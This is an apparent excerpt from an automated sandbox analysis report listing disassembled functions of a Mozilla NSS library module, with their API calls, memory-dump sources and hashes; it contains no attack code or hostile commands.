Function 6C72BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C72BD1E

Part of subcall function 6C702F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C702F0A
Part of subcall function 6C702F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C702F1D

Part of subcall function 6C7457D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C70B41E,00000000,00000000,?,00000000,?,6C70B41E,00000000,00000000,00000001,?), ref: 6C7457E0
Part of subcall function 6C7457D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C745843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C72BD8C

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C72BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C72BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72BE3A

Part of subcall function 6C703E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C703EC2
Part of subcall function 6C703E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C703ED6
Part of subcall function 6C703E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C703EEE
Part of subcall function 6C703E60: PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C703F02
Part of subcall function 6C703E60: PL_FreeArenaPool.NSS3 ref: 6C703F14
Part of subcall function 6C703E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C703F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72BE52

Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C702CDA,?,00000000), ref: 6C702E1E
Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C702E33
Part of subcall function 6C702E00: TlsGetValue.KERNEL32 ref: 6C702E4E
Part of subcall function 6C702E00: EnterCriticalSection.KERNEL32(?), ref: 6C702E5E
Part of subcall function 6C702E00: PL_HashTableLookup.NSS3(?), ref: 6C702E71
Part of subcall function 6C702E00: PL_HashTableRemove.NSS3(?), ref: 6C702E84
Part of subcall function 6C702E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C702E96
Part of subcall function 6C702E00: PR_Unlock.NSS3 ref: 6C702EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72BE61

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 6e680d0327f124372b2740a154854e5870e466e2dec643385fec0f90e35e14e0
Instruction ID: 11ec0c3baadfca77d048f58c219336514d1c718f25e7d798351de0c640296a6a
Opcode Fuzzy Hash: 6e680d0327f124372b2740a154854e5870e466e2dec643385fec0f90e35e14e0
Instruction Fuzzy Hash: 1A41E2B6E00210AFC710CF28DE89AAA77E8EB49718F144168F94997711E735FD14CB92

Function 6C74AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C74AB3E,?,?,?), ref: 6C74AC35

Part of subcall function 6C72CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C72CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C74AB3E,?,?,?), ref: 6C74AC55

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C74AB3E,?,?), ref: 6C74AC70

Part of subcall function 6C72E300: TlsGetValue.KERNEL32 ref: 6C72E33C
Part of subcall function 6C72E300: EnterCriticalSection.KERNEL32(?), ref: 6C72E350
Part of subcall function 6C72E300: PR_Unlock.NSS3(?), ref: 6C72E5BC
Part of subcall function 6C72E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C72E5CA
Part of subcall function 6C72E300: TlsGetValue.KERNEL32 ref: 6C72E5F2
Part of subcall function 6C72E300: EnterCriticalSection.KERNEL32(?), ref: 6C72E606
Part of subcall function 6C72E300: PORT_Alloc_Util.NSS3(?), ref: 6C72E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C74AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C74AB3E), ref: 6C74ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C74AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C74AD2B

Part of subcall function 6C72F360: TlsGetValue.KERNEL32(00000000,?,6C74A904,?), ref: 6C72F38B
Part of subcall function 6C72F360: EnterCriticalSection.KERNEL32(?,?,?,6C74A904,?), ref: 6C72F3A0
Part of subcall function 6C72F360: PR_Unlock.NSS3(?,?,?,?,6C74A904,?), ref: 6C72F3D3

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 4708270d9a28ecb508db0646dc25c3bb6a96295571ac9859e2aabdcd8e7be7d8
Instruction ID: 27b1e4b7d8ca9aee544729b6e4f4b12089f870e9f45213e812cbf0652b63da14
Opcode Fuzzy Hash: 4708270d9a28ecb508db0646dc25c3bb6a96295571ac9859e2aabdcd8e7be7d8
Instruction Fuzzy Hash: 23313BB1E002065FEB008F69CD499AF7776EF84728B18C138E8159BB41EB31DD1587A1

Function 6C728C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C728C7C

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C728CB0
TlsGetValue.KERNEL32 ref: 6C728CD1
EnterCriticalSection.KERNEL32(?), ref: 6C728CE5
PR_Unlock.NSS3(?), ref: 6C728D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C728D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C728D93

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0303a34f6b5a55fa721d90b3d9caee49ff666b1e489548874b3be67fa1e1d6f6
Instruction ID: fbab5b84b39a18ccb87fb130d2b0edb5e3e24b499933c046e4013404dd7480b6
Opcode Fuzzy Hash: 0303a34f6b5a55fa721d90b3d9caee49ff666b1e489548874b3be67fa1e1d6f6
Instruction Fuzzy Hash: DD316A72E00201AFE7109F68CE497EA77B0BF59318F140236EA1967B90D776A958CBC1

Function 6C769D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C769C5B), ref: 6C769D82

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C769C5B), ref: 6C769DA9

Part of subcall function 6C761340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76136A
Part of subcall function 6C761340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76137E
Part of subcall function 6C761340: PL_ArenaGrow.NSS3(?,6C6FF599,?,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?), ref: 6C7613CF
Part of subcall function 6C761340: PR_Unlock.NSS3(?,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C769C5B), ref: 6C769DCE

Part of subcall function 6C761340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C7613F0
Part of subcall function 6C761340: PL_ArenaGrow.NSS3(?,6C6FF599,?,?,?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C761445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C769C5B), ref: 6C769DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C769C5B), ref: 6C769DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C769C5B), ref: 6C769E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C769C5B), ref: 6C769E91

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

Part of subcall function 6C761560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C75FAAB,00000000), ref: 6C76157E
Part of subcall function 6C761560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C75FAAB,00000000), ref: 6C761592
Part of subcall function 6C761560: memset.VCRUNTIME140(?,00000000,?), ref: 6C761600
Part of subcall function 6C761560: PL_ArenaRelease.NSS3(?,?), ref: 6C761620
Part of subcall function 6C761560: PR_Unlock.NSS3(?), ref: 6C761639

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 23c55c91adbb6ba8cb2d8ffe2acc72982d6332429b1ecde802b93a8614411b74
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 634182B5501606AFE740DF16DA48B92BBA5FF55358F148128DC188BFA1EB72E834CF90

Function 6C72DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C72DDEC

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

PK11_DigestBegin.NSS3(00000000), ref: 6C72DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C72DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C72DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C72DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C72DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72DECC

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: c770d916745d5d451e262ec52f1850e1d9d7d8bee0d7b2ba88731f8a1c75fe01
Instruction ID: 471a5b1d7b66507b164517ce6f78fc1df203dd3f93f6b0855c4a5b6c855a4005
Opcode Fuzzy Hash: c770d916745d5d451e262ec52f1850e1d9d7d8bee0d7b2ba88731f8a1c75fe01
Instruction Fuzzy Hash: 3931E7B2D002146BEB10AE65AE49BBB76ACEF74708F050135ED09A7701FB35D918C6E2

Function 6C707E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C707E48

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C707E5B

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C707E7B

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C82925C,?), ref: 6C707E92

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C707EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C707ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C707EFA

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: d4ec01df73b5dcda25dacfda0c2858eba402ffc40dedd501d0a7b83245d26450
Instruction ID: 51ee31402005c78d5055b7e6a640327b2320434a85addd7eb3ade7844d41bc44
Opcode Fuzzy Hash: d4ec01df73b5dcda25dacfda0c2858eba402ffc40dedd501d0a7b83245d26450
Instruction Fuzzy Hash: A8317EF2B012159BEB108A699E48B5B73ECAF44658F194934ED59EBB41E730FC04C7E1

Function 6C75DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C75D9E4,00000000), ref: 6C75DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C75D9E4,00000000), ref: 6C75DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C75D9E4,00000000), ref: 6C75DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C75DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C75DCAD

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 94a91767e5bffdb26b4a94cf4f63a6ed16708b0d24d027a17cb411382dfb2f78
Instruction ID: c3ef836c5fdf1e2557be9fbaae9ace1555f7c9b5d544730e9773e458b7395726
Opcode Fuzzy Hash: 94a91767e5bffdb26b4a94cf4f63a6ed16708b0d24d027a17cb411382dfb2f78
Instruction Fuzzy Hash: 6E31AFB5A002019FE750CF1DDA88B92B7F8AF25358F548438E94CCBB01EB71E954CBA5

Function 6C722E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C71E728,?,00000038,?,?,00000000), ref: 6C722E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C722E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C722E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C722E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C722E9E
PR_Unlock.NSS3(?), ref: 6C722EAB
PR_Unlock.NSS3(?), ref: 6C722F0D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: aeab368710aa53ca296f1872af10318d95b92e888c29513003e3a8a137e3c21f
Instruction ID: aa1d6fe88d4f649e8d6e1e991c01fd355faa162b22cbb90ced9ced1d77de0124
Opcode Fuzzy Hash: aeab368710aa53ca296f1872af10318d95b92e888c29513003e3a8a137e3c21f
Instruction Fuzzy Hash: 023126B5E00106ABEB115F28DD488B6B779FF0526CB088174EC0887A12EB31ED65CBD1

Function 6C741EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&tl,6C726295,?,00000000,?,00000001,S&tl,?), ref: 6C741ECB

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&tl,6C726295,?,00000000,?,00000001,S&tl,?), ref: 6C741EF1
EnterCriticalSection.KERNEL32(?), ref: 6C741F01
PR_SetError.NSS3(00000000,00000000), ref: 6C741F39

Part of subcall function 6C74FE20: TlsGetValue.KERNEL32(6C725ADC,?,00000000,00000001,?,?,00000000,?,6C71BA55,?,?), ref: 6C74FE4B
Part of subcall function 6C74FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C74FE5F

PR_Unlock.NSS3(?), ref: 6C741F67

Strings

S&tl, xrefs: 6C741EA0

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&tl
API String ID: 704537481-3412841603
Opcode ID: e18f02ed191dee35e1cbd22bf0e3548d0861661edd4ac38a3ffb66942e892873
Instruction ID: f9bbfddfc24952b1d21e5df039cef5d499f06fc966fbc7248958250e7d9bf9a9
Opcode Fuzzy Hash: e18f02ed191dee35e1cbd22bf0e3548d0861661edd4ac38a3ffb66942e892873
Instruction Fuzzy Hash: BA215775A01214AFEB00BE29DD48E9A3769EF41369F198134FC0887B02E730D962CBE0

Function 6C76CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C76CD93,?), ref: 6C76CEEE

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C76CD93,?), ref: 6C76CEFC

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C76CD93,?), ref: 6C76CF0B

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C76CD93,?), ref: 6C76CF1D

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C76CD93,?,?,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF78

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
